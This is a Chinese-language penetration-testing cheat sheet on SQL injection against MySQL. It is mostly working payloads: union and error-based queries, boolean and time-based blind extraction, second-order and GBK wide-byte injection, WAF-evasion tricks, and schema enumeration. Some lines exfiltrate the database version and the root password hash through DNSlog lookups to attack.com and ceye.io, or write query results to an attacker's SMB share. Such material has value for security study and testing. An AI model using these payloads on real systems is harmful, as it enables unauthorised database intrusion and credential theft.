【渗透测试】SQL注入
原文链接:https://www.jianshu.com/p/a63912d4b5ad
用户输入数据被当成了代码被执行
原则
有回显:union select、报错注入
无回显:dnslog, time-based, boolean-based
注:思维导图https://github.com/UltramanGaia/SecMM
最常见的注入
select * from xxx where id = %s ; select * from xxx where id = '%s' ; select * from xxx where id = "%s" ; select * from xxx where id = ('%s') ; select * from xxx where id = ("%s") ;
用 ' " ( ) char string 组合看看能不能报错显示出执行的sql语句 检测union select注入 order by 查列数 union select 看回显 用 or 1=1 or 1=2 and 1=1 and 1=2 检测boolean注入 用 or sleep(3) 检测time_base注入
Mysql
Mysql 默认端口 3306
注入方法
Union Select注入
确认列数 order by union select 1,2,3 union select null,null,null union select @,@,@
报错注入
1. floor + rand + group by select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 2. ExtractValue select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 3. UpdateXml select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)); 4. Name_Const(>5.0.12) select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x; 5. Join select * from(select * from mysql.user a join mysql.user b)c; select * from(select * from mysql.user a join mysql.user b using(Host))c; select * from(select * from mysql.user a join mysql.user b using(Host,User))c; 6. exp()//mysql5.7貌似不能用 select * from user where id=1 and Exp(~(select * from (select version())a)); 7. geometrycollection()//mysql5.7貌似不能用 select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 8. multipoint()//mysql5.7貌似不能用 select * from user where id=1 and multipoint((select * from(select * from(select user())a)b)); 9. polygon()//mysql5.7貌似不能用 select * from user where id=1 and polygon((select * from(select * from(select user())a)b)); 10. multipolygon()//mysql5.7貌似不能用 select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b)); 11. linestring()//mysql5.7貌似不能用 select * from user where id=1 and linestring((select * from(select * from(select user())a)b)); 12. multilinestring()//mysql5.7貌似不能用 select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));
带外注入
-
bool注入
and 1=1 and 1=2 or 1=1 or 1=2 爆数据长度 and length(查询数据语句)=数字 select * from user where id=1 and length((select version()))=23; 爆数据 and mid((查询数据语句),数字,1)='字符' select * from user where id=1 and mid((select version()),1,1)='5';
时间盲注
sleep() benchmark() 爆数据长度 and if(length(查询数据语句)=数字,sleep(5),0) and if(length(查询数据语句)=数字,BENCHMARK(10000000, md5(1)),0) 爆数据 and if(mid((查询数据语句),数字,1)='字符',sleep(5),0) and if(mid((查询数据语句),数字,1)='字符',BENCHMARK(10000000, md5(1)),0) 其他操作。。
dnslog注入
select load_file(concat('\\\\foo.',(select mid(version(),1,1)),'.attack.com\\')); SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
SMB
' or 1=1 into outfile '\\\\attacker\\SMBshare\\output.txt'
获取信息
最常用的获取数据方法
大于Mysql 5.0
获取库名 select schema_name from information_schema.schemata limit 0,1 获取表名 select table_name from information_schema.tables where table_schema='mysql' limit 0,1 获取列名 select column_name from information_schema.columns where table_schema= 'mysql' and table_name = 'db' limit 0,1 获取数据 select name from user; 注:可以用十六进制代替数据库名、表名
如果过滤了空格,linux下可以用下列字符替代 %09 tab水平 %0a 换行 %0d return %0b tab垂直 %a0 空格
库名
select database(); select schema_name from information_schema.schemata limit 0,1; select group_concat(schema_name) from information_schema.schemata; select distinct(Db) from mysql.db; select distinct(database_name) from mysql.innodb_index_stats;//mysql>5.6 select distinct(database_name) from mysql.innodb_table_stats;//mysql>5.6
表名
select table_name from information_schema.tables where table_schema='mysql' limit 0,1 select group_concat(table_name) from information_schema.tables where table_schema='mysql' ; SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema' select distinct(table_name) from mysql.innodb_index_stats;//mysql>5.6 select distinct(table_name) from mysql.innodb_table_stats;//mysql>5.6
列名
select column_name from information_schema.columns where table_schema= 'mysql' and table_name = 'db' limit 0,1 select group_concat(column_name) from information_schema.columns where table_schema= 'mysql' and table_name = 'db'
数据
Select group_concat(column_name) from table_name
二次排序注入 (存储型的注入)
二次排序注入也称为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。 二次排序注入思路: 1. hacker输入的数据会经过转义代入sql语句中,然后,储存在数据库中,在数据库中的数据是没有转义的 2. hacker进行别的操作,将数据库中的数据取出来(未转义)并用于拼接到另外一个sql语句中,这就可以绕过转义了。 假设存在一个账户"admin",密码不知 创建一个账户"admin'#",则在数据库中保存有"admin'#" 修改密码的时候,代入sql语句 update users set passwd = "xxxx" where username = ' admin'# ' and passwd = 'xxxxxxx'
宽字节注入
%df' -> %df%5c' 将sql语句解析为gbk编码时, %df%5c -> 当成一个字符,后面的'逃逸出来了 (1) mysql_query,如mysql_query("SET NAMES 'gbk'", $conn)、mysql_query("setcharacter_set_client = gbk", $conn)。 (2) mysql_set_charset,如mysql_set_charset("gbk",$conn)。 (3) mb_convert_encoding,如mb_convert_encoding($sql,"utf8","gbk"),将SQL语句从gbk格式转换为utf8格式时,0x5c被吃掉了。 (4) iconv,如iconv('GBK', 'UTF-8',$sql)
注入点 update / insert /delete
报错注入 extractvalue()函数是MYSQL对XML文档数据进行查询函数。 or extractvalue(1,concat(0x7e,version())) or updatexml()函数是MYSQL对XML文档数据进行修改的XPATH函数。 or updatexml(1,concat(0x7e,(version())),0) or name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or 在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息。但是在一些比较旧的高于5.0.12(包括5.0.12)的MYSQL版本中,可以进一步提取更多数据。 update数据到可见参数 update users set points = 1*(select conv(hex((select substr( pw ,1%s,1))),0b10000,0b10))
WAF绕过
检测select 尝试大小写绕过 尝试URLencode,如%53elect 仅能查询当前表